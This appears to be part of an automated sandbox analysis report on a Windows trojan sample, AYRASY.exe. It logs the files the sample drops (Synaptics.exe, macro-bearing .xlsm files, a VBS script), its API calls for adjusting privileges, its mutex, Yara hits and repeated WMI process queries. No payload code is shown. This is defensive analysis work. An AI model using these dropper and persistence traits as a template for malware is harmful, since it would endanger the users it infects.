Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00190EC4	2_2_00190EC4
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001A113E	2_2_001A113E
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001912F9	2_2_001912F9
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001A542F	2_2_001A542F
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF5D0	2_2_001DF5D0
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001A599F	2_2_001A599F
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00175D32	2_2_00175D32
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0017BDF0	2_2_0017BDF0
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0019BDF6	2_2_0019BDF6
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00191E5A	2_2_00191E5A
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0019DF69	2_2_0019DF69
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001BBFB8	2_2_001BBFB8
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001A7FFD	2_2_001A7FFD
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009BDCD0	9_2_009BDCD0
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009BA0C0	9_2_009BA0C0
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009D0183	9_2_009D0183
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009F220C	9_2_009F220C
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009B8530	9_2_009B8530
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009D0677	9_2_009D0677
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009B6670	9_2_009B6670
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1A8DC	9_2_00A1A8DC
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009D0A8F	9_2_009D0A8F
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009B6BBC	9_2_009B6BBC
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009DAC83	9_2_009DAC83
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009CAD5C	9_2_009CAD5C
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009E4EBF	9_2_009E4EBF
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009D0EC4	9_2_009D0EC4
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A130AD	9_2_00A130AD
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009E113E	9_2_009E113E
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009D12F9	9_2_009D12F9
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009E542F	9_2_009E542F
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F5D0	9_2_00A1F5D0
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009C3680	9_2_009C3680
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009E599F	9_2_009E599F
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009DBDF6	9_2_009DBDF6
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009BBDF0	9_2_009BBDF0
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009B5D32	9_2_009B5D32
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009D1E5A	9_2_009D1E5A
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009FBFB8	9_2_009FBFB8
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009E7FFD	9_2_009E7FFD
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009DDF69	9_2_009DDF69

Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: String function: 009CF885 appears 68 times
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: String function: 009D7750 appears 42 times
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: String function: 00197750 appears 42 times
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: String function: 0018F885 appears 68 times

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 3548

Source: AYRASY.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: AYRASY.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCX4413.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: AYRASY.exe, 00000000.00000003.2148294542.0000000000886000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileNamecent vs AYRASY.exe
Source: AYRASY.exe, 00000000.00000003.2148294542.0000000000886000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs AYRASY.exe
Source: AYRASY.exe, 00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs AYRASY.exe
Source: AYRASY.exe, 00000000.00000000.2139728714.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameb! vs AYRASY.exe
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs AYRASY.exe
Source: AYRASY.exe	Binary or memory string: OriginalFileName vs AYRASY.exe
Source: AYRASY.exe	Binary or memory string: OriginalFilenameb! vs AYRASY.exe

Source: AYRASY.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@21/28@5/4

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001BD712 GetLastError,FormatMessageW,

2_2_001BD712

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001AB8B0 AdjustTokenPrivileges,CloseHandle,	2_2_001AB8B0
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001ABEC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	2_2_001ABEC3
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009EB8B0 AdjustTokenPrivileges,CloseHandle,	9_2_009EB8B0
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009EBEC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	9_2_009EBEC3

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001BEA85 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

2_2_001BEA85

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001B6F5B CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

2_2_001B6F5B

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001BEFCD CoInitialize,CoCreateInstance,CoUninitialize,

2_2_001BEFCD

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001731F2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

2_2_001731F2

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Users\user\Desktop\AYRASY.exe

File created: C:\Users\user\Desktop\._cache_AYRASY.exe

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3556:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5048

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

File created: C:\Users\user\AppData\Local\Temp\WBHUSK.vbs

Jump to behavior

Source: Yara match	File source: AYRASY.exe, type: SAMPLE
Source: Yara match	File source: 0.0.AYRASY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX4413.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Process created: C:\Windows\SysWOW64\wscript.exe WSCript C:\Users\user\AppData\Local\Temp\WBHUSK.vbs

Source: C:\Users\user\Desktop\AYRASY.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process where name like '._cache_AYRASY.exe'
